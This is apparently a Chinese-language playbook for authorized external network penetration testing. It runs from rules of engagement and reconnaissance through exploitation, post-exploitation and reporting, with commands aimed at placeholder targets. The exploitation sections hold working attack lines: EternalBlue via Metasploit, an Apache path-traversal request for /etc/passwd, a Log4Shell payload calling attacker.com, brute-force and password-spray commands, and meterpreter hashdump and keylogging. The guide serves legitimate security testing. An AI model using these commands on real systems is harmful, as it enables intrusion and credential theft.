执行外部网络渗透测试
概述
外部网络渗透测试模拟真实攻击者针对组织互联网面向资产(如防火墙、Web 服务器、邮件服务器、DNS 服务器、VPN 网关和云端点)发起的攻击。目标是在恶意攻击者之前识别可利用漏洞,遵循 PTES(渗透测试执行标准)、OSSTMM 和 NIST SP 800-115 等框架。
前置条件
- 书面授权(由资产所有者签署的交战规则文件)
- 明确的测试范围:IP 范围、域名、子域名及排除项
- 测试环境:安装了最新工具的 Kali Linux 或 Parrot OS
- VPN/专用测试基础设施,以避免 IP 封锁
- 与 SOC/NOC 协调测试时间窗口
阶段一:预约定与范围划定
制定交战规则
范围:
- 目标 IP 范围:203.0.113.0/24, 198.51.100.0/24
- 域名:*.target.com, *.target.io
- 排除项:203.0.113.50(生产数据库),*.staging.target.com
- 测试窗口:周一至周五 22:00-06:00 UTC
- 紧急联系人:SOC 负责人 — +1-555-0100
- 授权编号:PENTEST-2025-EXT-042
法律文件检查清单
| 文件 |
状态 |
负责人 |
| 主服务协议(MSA) |
已签署 |
法务 |
| 工作说明书(SOW) |
已签署 |
PM |
| 交战规则(RoE) |
已签署 |
CISO |
| 免责信 |
已签署 |
CTO |
| 保密协议(NDA) |
已签署 |
法务 |
| 保险证明 |
已核验 |
风险管理 |
阶段二:侦察(信息收集)
被动侦察
# OSINT — 子域名枚举
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS 记录枚举
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS 和 ASN 查询
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# 证书透明度日志搜索
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google 搜索技巧(Dorking)
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan 枚举
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# 邮件收割
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab 密钥扫描
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
主动侦察
# 主机发现 — ping 扫描
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN 扫描 — 前 1000 个端口
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# 全 TCP 端口扫描
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP 扫描 — 前 100 个端口
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# 服务版本和脚本扫描
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS 枚举
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web 技术指纹识别
whatweb -v https://target.com
wappalyzer https://target.com
阶段三:漏洞分析
自动化扫描
# Nessus 扫描(通过 CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS 扫描
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei 漏洞扫描器
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto Web 服务器扫描
nikto -h https://target.com -output nikto_results.html -Format htm
# 目录和文件枚举
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
手动漏洞验证
# 检查已识别服务的已知 CVE
searchsploit apache 2.4.49
searchsploit openssh 8.2
# 测试默认凭据
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# 测试 VPN 端点
ike-scan 203.0.113.20
# 检查 IKEv1 积极模式
# SNMP 枚举
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP 枚举
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
阶段四:漏洞利用
网络服务利用
# Metasploit — EternalBlue(MS17-010)示例
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache 远程代码执行 — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell 利用(Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com
# Log4Shell(CVE-2021-44228)测试
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
Web 应用利用
# 使用 sqlmap 进行 SQL 注入
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS 载荷测试
dalfox url "https://target.com/search?q=test" --skip-bav
# 命令注入测试
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# 文件上传绕过
# 上传带双扩展名的 PHP Shell:shell.php.jpg
# 测试 Content-Type 绕过:application/octet-stream -> image/jpeg
密码攻击
# 暴力破解 RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# 针对 OWA 的密码喷洒
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# 破解捕获的哈希
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
阶段五:后渗透
# 建立持久化(仅限授权测试)
# Meterpreter 会话
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# 权限提升检查
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# 数据外泄证明
# 创建证明文件(切勿实际外泄真实敏感数据)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# 通过已控制主机进行网络穿透
# 通过 SSH 设置 SOCKS 代理
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# 截图和证据收集
meterpreter> screenshot
meterpreter> keyscan_start
阶段六:报告
发现分类(CVSS v3.1)
| 严重性 |
CVSS 范围 |
数量 |
示例 |
| 严重 |
9.0-10.0 |
2 |
通过未修补 Exchange 的 RCE(ProxyShell) |
| 高危 |
7.0-8.9 |
5 |
客户门户中的 SQL 注入 |
| 中危 |
4.0-6.9 |
8 |
缺少安全标头、TLS 1.0 |
| 低危 |
0.1-3.9 |
12 |
通过服务器 Banner 的信息泄露 |
| 信息 |
0.0 |
6 |
开放端口文档 |
报告结构
1. 执行摘要
- 范围与目标
- 关键发现摘要
- 风险评级概览
- 战略建议
2. 技术发现
每项发现包含:
- 标题和 CVSS 评分
- 受影响资产
- 描述和影响
- 重现步骤(含截图)
- 证据/利用证明
- 修复建议
- 参考资料(CVE、CWE)
3. 方法论
- 使用的工具
- 测试时间线
- 遵循的框架(PTES、OWASP)
4. 附录
- 完整扫描结果
- 网络拓扑图
- 原始工具输出
修复优先级矩阵
| 优先级 |
时间线 |
行动 |
| P1 — 严重 |
24-48 小时 |
修补 RCE 漏洞,禁用暴露的管理面板 |
| P2 — 高危 |
1-2 周 |
修复注入缺陷,实施 MFA |
| P3 — 中危 |
30 天 |
加固 TLS 配置,添加安全标头 |
| P4 — 低危 |
60-90 天 |
移除版本 Banner,更新文档 |
工具参考
| 工具 |
用途 |
许可证 |
| Nmap |
端口扫描和服务枚举 |
GPLv2 |
| Metasploit |
漏洞利用框架 |
BSD |
| Burp Suite Pro |
Web 应用测试 |
商业 |
| Nuclei |
漏洞扫描 |
MIT |
| Subfinder |
子域名枚举 |
MIT |
| SQLMap |
SQL 注入测试 |
GPLv2 |
| Nessus |
漏洞扫描器 |
商业 |
| Gobuster |
目录暴力破解 |
Apache 2.0 |
| Hashcat |
密码破解 |
MIT |
| theHarvester |
OSINT 邮件/域名收集 |
GPLv2 |
参考资料